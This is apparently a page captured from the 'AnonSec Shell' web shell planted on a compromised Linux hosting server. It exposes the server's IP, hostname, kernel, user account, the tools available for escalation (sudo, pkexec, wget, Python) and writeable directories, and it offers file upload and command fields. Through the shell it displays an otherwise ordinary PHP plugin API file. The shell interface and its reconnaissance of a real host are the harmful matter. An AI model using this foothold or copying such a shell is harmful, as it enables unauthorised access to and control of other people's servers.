AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leo/application/plugins/module_default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leo/application/plugins/module_default/api.php
<?php
if(!defined('APP_RUN')) exit('No direct access allowed');
/* 
 * API PARA ACESSO EXTERNO AOS DADOS DO PLUGIN
 * Utilizar o caminho: /?ng=api
 * Enviar os dados via POST
 * @key: chave de acesso à API 
 * @plugin: nome do plugin ou módulo
 * @params
 */


// Verifico se a chave para acesso à API está correta
$pl_data = array();
if(isset($_POST['key']) AND ($_POST['key'] != '')){

    $key = $_POST['key'];

    $a = ORM::for_table('sys_api')->where('apikey',$key)->find_one();
    if($a)
    {
        // switch method
        switch (_post('pl_method'))
        {
            case 'list_consultas' :
                $pl_data = array('teste' => _post('teste'));
                
                $info = array(
                    'success'       => true,
                    'plugin_msg'    => null);
                
                break;
            default :
                $info = array(
                    'success'       => false,
                    'plugin_msg'    => 'Invalid plugin method');
                break;
        }
    }
    else
    {
        $info = array(
                    'success'       => false,
                    'plugin_msg'    => 'Invalid API Key');
    }
}
else
{
    $info = array(
                    'success'       => false,
                    'plugin_msg'    => 'API Key is required');
    
}

// Return
$data['return'] = array('info' => $info,
                        'data' => $pl_data);




Anon7 - 2022
AnonSec Team